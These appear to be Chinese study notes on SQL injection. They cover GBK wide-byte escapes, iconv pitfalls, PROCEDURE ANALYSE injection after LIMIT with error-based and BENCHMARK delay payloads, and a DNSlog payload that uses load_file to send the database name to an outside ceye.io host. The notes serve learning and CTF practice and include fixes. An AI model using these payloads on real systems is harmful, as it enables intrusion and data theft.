SQL注入扩展—宽字节注入

SQL注入扩展—宽字节注入

非常好的一篇文章

1
https://www.freebuf.com/column/165567.html

在计算机中,字符的表示与存储都离不开编码。例如ASCII,utf-8,gbk2312等。通常字符的表示都只需1字节。但也有如gbk2312这种需要2字节来表示的编码格式,这种我们称之为宽字节

所谓宽字节注入,可能存在于以gbk编码存储数据的sql数据库中。在实际站点中已经比较少见(常见于学校远古破站),而且修复方案很简单。在CTF中属于入门的sql注入题目。

宽字节注入原理:

GBK 占用两字节

ASCII占用一字节

PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。

宽字节注入指的是mysql数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),才到汉字的范围),而且当我们输入单引号时,mysql会调用转义函数,将单引号变为',其中\的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是’運’,从而使单引号闭合(逃逸),进行注入攻击

防止宽字节注入

一种方法就是先调用mysql_set_charset设置当前字符集为gbk,再调用函数mysql_real_escape_string来过滤用户输入。

还可以把character_set_client设置为binary二进制

当我们的mysql接受到客户端的数据后,会认为他的编码是character_set_client,然后会将之将换成character_set_connection的编码,然后进入具体表和字段后,再转换成字段对应的编码。然后,当查询结果产生后,会从表和字段的编码,转换成character_set_results编码,返回给客户端。

iconv导致注入

使用函数iconv('utf-8','gbk',$_GET['id']),也可能导致注入产生。
虽然character_set_client设置成了binary,但是之后参数又被变回了gbk,可以使用“ 錦’ ”来进行注入:

这是因为錦’的GBK编码为0xe55c,所以就能发现后面为%5c%27,这个时候会出现两个%5c,刚好\,反斜杠被转义,导致‘逃出造成了注入。

个人认为这个其实也就是绕过魔术引号的方法,没有直接转换成HEX编码好用

SQL注入扩展—limit注入

链接:https://www.jianshu.com/p/6c1420a7a7d9

参考链接:
https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html

一般实际过程中使用 limit 时,大概有两种情况,一种使用order by,一种就是不使用 order by关键字

不存在 order by 关键字

执行语句

1
select id from users limit 0,1

这种情况下的 limit 后面可以使用union进行联合查询注入
执行语句

1
select id from users limit 0,1 union select username from users;

12585049-968e604f601fb341

存在 order by 关键字

执行语句

1
select id from users order by id desc limit 0,1;

此时后面再次使用union将会报错

12585049-159c5b1ad1b6fc42

除了union 就没有其他可以使用的了吗,非也
此方法适用于5.0.0< MySQL <5.6.6版本,在limit语句后面的注入
MySQL 5中的SELECT语法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
SELECT 
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name' export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]

limit 关键字后面还可跟PROCEDUREINTO两个关键字,但是 INTO 后面写入文件需要知道绝对路径以及写入shell的权限,因此利用比较难,因此这里以PROCEDURE为例进行注入

  • 使用 PROCEDURE函数进行注入
    ANALYSE支持两个参数,首先尝试一下默认两个参数
1
2
mysql> select id from users order by id desc limit 0,1 procedure analyse(1,1);
ERROR 1386 (HY000): Can't use ORDER clause with this procedure

报错,尝试一下对其中一个参数进行注入,这里首先尝试报错注入

1
2
mysql> select id from users order by id desc limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.53'

成功爆出 mysql 版本信息,证明如果存在报错回显的话,可以使用报错注入在limit后面进行注入
不存在回显怎么办,延迟注入呀
执行命令

1
select id from users order by id limit 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

如果 select version(); 第一个为5,则多次执行sha(1)达到延迟效果
这里使用 sleep 进行尝试,但均未成功,所以需要使用BENCHMARK进行替代

报错注入—拓展

链接:https://www.cnblogs.com/c1047509362/p/12806297.html

链接:https://www.cnblogs.com/babers/articles/7252401.html

DNS注入

\1. 为什么要使用DNS注入

盲注跑数据太慢的情况下,选择DNS注入是一个好办法。

\2. DNS注入的原理

把域名dns指向我们的服务器域名,这样的话解析域名的时候就会向我们的dns服务器查询。通过递归查询就可以获取数据库上的信息了。要记住整个域名内的节点标签被限制在63个字符长度大小。

\3. DNS注入的要求

数据库在配置中允许域名解析时

到我们数据库中查看一下:show variables like ‘skip_name_resolve’;

Snipaste_2022-05-23_16-21-47

skip_name_resolve这个参数是禁止域名解析

skip_name_resolve 为off时会进行域名解析

一旦开启此参数,所有远程主机连接数据库授权都要使用IP地址的方式。

域名DNS指向的是我们服务器的域名,意味着解析域名时需向DNS服务器查询。通过递归查询可以获取数据库上的信息。要记住整个域名内的节点标签被限制在63个字符长度大小。

使用条件:

\1. 有sql注入点

\2. 该站点的load_file可以使用

靶场:http://oovw8022.ia.aqlab.cn/dns/

是来自掌控靶场的一个例子

Snipaste_2022-05-24_20-15-28

DNSlog注入

存在利用瓶颈,比较鸡肋。除了注入会用到,在其他场景也会用到,主要学习dns注入原理。

必须是Windows服务器、注入实现url访问、注入点必须是高权限且可执行写入。

原理:借助DNS解析产生日志的一个作用,来实现把一些数据反弹出来,类似反弹链接的作用。

应用场景:解决不回显(反向连接),SQL注入命令执行,SSRF等

1
payload:' and if((select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\abc'))),1,0)--+

Snipaste_2022-05-24_20-15-49

Snipaste_2022-05-24_22-09-58

Snipaste_2022-05-24_22-09-48

参考文章

1
2
https://www.cnblogs.com/Xy--1/p/12896599.html
https://www.jianshu.com/p/3201dfc60f6d

SQL报错注入